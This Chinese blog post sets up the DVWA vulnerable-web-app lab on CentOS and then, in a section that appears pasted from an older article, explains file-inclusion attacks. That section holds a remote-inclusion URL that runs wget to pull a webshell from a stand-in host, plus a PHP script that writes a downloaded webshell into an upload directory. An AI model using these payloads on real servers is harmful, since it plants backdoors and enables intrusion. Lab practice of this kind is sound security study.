首页 > 其他分享 >DVWA安装及文件包含

DVWA安装及文件包含

时间:2023-06-10 13:05:06浏览次数:77  
标签:Webshell 文件 www m4r10 包含 DVWA mysql php 安装

1.安装步骤:

查看网络连接

DVWA安装及文件包含_DVWA

DVWA安装及文件包含_DVWA_02

这样就是联网了

安装所需要的环境

安装apache   :yum -y install httpd 

DVWA安装及文件包含_DVWA_03

如果是这样说明安装成功

DVWA安装及文件包含_DVWA_04

如果这样说明没网(解决方法在开头)

启动apache   :service httpd start  

DVWA安装及文件包含_DVWA_05

安装PHP        :yum -y install php

DVWA安装及文件包含_DVWA_06

是这样则是安装好了不是这样请检查网络

安装mysql-server:yum -y install mysql-server

DVWA安装及文件包含_DVWA_07

这样就是安好了

启动mysql-server:service mysqld start

DVWA安装及文件包含_DVWA_08

安装php-mysql关联:yum install php-mysql php-pear php-gd -y

DVWA安装及文件包含_DVWA_09

安好后最好连接mysql

输入命令:mysql -uroot -p 默认密码为空

DVWA安装及文件包含_DVWA_10

把dvwa文件放到var/www/html目录(dvwa文件在电脑桌面上)

 

DVWA安装及文件包含_DVWA_11

DVWA安装及文件包含_DVWA_12

进入/var/www/html/DVWA/config文件修改配置文件

命令:cd /var/www/html/DVWA/config

DVWA安装及文件包含_DVWA_13

把文件后缀改成php结尾

DVWA安装及文件包含_DVWA_14

编辑文件

DVWA安装及文件包含_DVWA_15

DVWA安装及文件包含_DVWA_16

把127.0.0.1改成localhost

吧P@ssw0rd改成空

保存退出(先按esc再按shift+;在输入wq保存退出)

DVWA安装及文件包含_DVWA_17

重启Apache

DVWA安装及文件包含_DVWA_18

浏览器访问

DVWA安装及文件包含_DVWA_19

翻到最下面点这个创建数据库

DVWA安装及文件包含_DVWA_20

然后稍等片刻即可

DVWA安装及文件包含_DVWA_21

 

2.文件包含

高级

http://hi.baidu.com/m4r10/php/index.php? page=http://www.xxx.cn/cmd.txt?cmd=wgethttp://www.xxx.cn/m4r10.txt -O m4r10.php,

如果当前目录可写,就能得到一个叫做m4r10.php的Webshell了,如果当前目录不可写,还需要想其它的办法

.包含一个创建文件的PHP文件


也许有的人认为还是得到目标机上的一个真实的Webshell比较放心,万一哪天人家发现这儿个包含漏洞修补了,我们就不能再远程包含得到上面的那个" 伪"Webshell了,不是么?可以理解这个心态,我们继续。得到一个真实的Webshell,我们也说两种常见的方法:


1)使用wget之类的命令来下载一个Webshell


这个比较简单,也很常用,在上面我们得到的那个伪webshell中,我们可以执行命令,那么我们也可以调用系统中的一个很厉害的角色,wget,这个命令的强大你可以google下,参数一大堆,绝对搞晕你,呵呵,我们不需要那么复杂,我们就使用一个-O(--output- document=FILE,把文档写到FILE文件中) 就可以了,呵呵。


前提是你在按照前面的步骤放一个包含PHP代码的Webshell在一个可以通过HTTP或者FTP等可以访问的地方,比如:http://www.xxx.cn/m4r10.txt,这个文件里写的就是Webshell的内容。然后我们在前面得到的伪 Webshell中执行如下的URL:http://hi.baidu.com/m4r10/php/index.php?page=http://www.xxx.cn/cmd.txt?cmd=wgethttp://www.xxx.cn/m4r10.txt -O m4r10.php,如果当前目录可写,就能得到一个叫做m4r10.php的Webshell了,如果当前目录不可写,还需要想其它的办法。


2)使用文件来创建


前面的wget可能会遇到当前目录不能写的情况;或者目标主机禁用了(或者没装)这个命令,我们又需要变通一下了,我们可以结合前面的包含文件漏洞来包含一个创建文件(写文件)的PHP脚本,内容如下:

CODE: [Copy to clipboard]

--------------------------------------------------------------------------------------------------

$f=file_get_contents("http://www.xxx.cn/m4r10.txt"); //打开指定路径的文件流

$ff=fopen("./upload/m4r10.php","a");     //寻找一个可以的目录,创建一个文件

fwrite ($ff,$f);  //把前面打开的文件流写到创建的文件里

fclose($ff);    //关闭保存文件

?>

标签:Webshell,文件,www,m4r10,包含,DVWA,mysql,php,安装
From: https://blog.51cto.com/u_16156936/6454383

相关文章

  • Sql2012安装
    在MSDN,我告诉你-做一个安静的工具站(itellyou.cn)中选择合适的版本;也可以直接ed2k://|file|cn_sql_server_2012_developer_edition_with_sp1_x64_dvd_1234492.iso|4231520256|C3653494E5E01CA5ADFAF910CBC32D75|/下载这个链接下载好后会进入这个界面我们选择左上角的安装......
  • Ubuntu常用软件安装
    前言最近,犹豫和纠结之后,又决定把ubuntu当做日常主要的系统来使用了,于是又开始新一轮折腾ubuntu的相关配置,一个算是给自己积累点知识库,另一个也算是提想尝试的小伙伴踩个坑,好了,废话少说,让我们直接开始吧。常用软件安装ubuntu系统的软件安装方式,一种是在线安装,也就是通过包管理命......
  • SQL SERVER 2008 R2安装教程
    1、下载sqlserver2008r2的安装包(如果需要安装包可以私我,密钥自动输入)2、打开安装包,点击setup.exe3、点击“安装”,下一步选择“全新安装或向现有的安装添加功能”4、检测完成后点击确定5、选择输入产品密钥,这里会自动输入,下一步6、选择“我接受许可条款”,下一步7、选......
  • 修改node默认的全局模块安装global路径和cache路径
    1、安装node后,全局模块的global路径和cache路径会默认的安装在C:\Users\{{账号}}\AppData\Roaming下,在这个目录下面会找到npm文件夹和npm_cache的文件夹。2、在其他的盘符建立npm_global文件夹和npm_cache文件夹。 3、在cmd窗口用下面命令修改路径。(如下命令引号内为你新建......
  • windows10安装ubuntu双系统教程
    windows10安装ubuntu双系统教程资料windows10安装ubuntu双系统教程https://blog.csdn.net/Scarlett2025/article/details/119894316https://blog.csdn.net/weixin_37110403/article/details/126814513https://blog.csdn.net/weixin_42697074/article/details/88880185Window......
  • Parallels Desktop 安装 Archlinux(2023教程)
    ParallelsDesktop中安装ArchLinux(硬核版)##1.事先准备+1.基本配置:MacBookPro(Retina,13inch,Mid2015,Catalina10.15.7),ParalleDesktop18.1.1+2.镜像:Archlinux2023.05.1+镜像下载站:+清华镜像+https://mirrors.tuna.tsinghua.edu.cn/+中科大镜像站+https://mirrors.ustc.......
  • 003Arch安装docker
    链接:ArchLinux安装Docker并简单配置_archlinuxdocker_陌年微凉II的博客-CSDN博客安装dockerpacman-Sdocker开启docker服务#开启Docker服务systemctlstartdocker#允许Docker服务开机自启动systemctlenabledocker#验证Docker服务运行状态systemctlsta......
  • 1、android studio安装与配置
    1、各位小伙伴,安装Androidstudio之前一定要先安装jdb1.8,否则在Androidstudio时检测没有,会自动下载配置,非常卡非常满!jdk1.8的安装与配置文件如下:链接:https://pan.baidu.com/s/11lz8VklxLWKgtg2whxdiIQ提取码:azabAndroidstudio的安装与配置文件如下: ......
  • 随笔(十六)『docker 安装 naocs 简单版』
    1、拉取镜像dockerpullnacos/nacos-server2、挂载目录mkdir-p/mydata/nacos/logs/mkdir-p/mydata/nacos/init.d/3、启动nacosdockerrun\--namenacos-d\-p8848:8848\--privileged=true\--restart=always\-eJVM_XMS=256m\-eJVM_XMX=256m\-eMODE=......
  • MySQL安装
    一、MySQL在线方式安装检查自己的电脑是否已经安装MySQLyumlistinstalled|grepmysql(如果已经安装,存在安装记录,通过下面命令删除yum-yremove版本名称)mysql官网下载mysql-community的yum下载的rpm文件可以在使用centos中使用下面命令(wget从网上下载资源(网页,......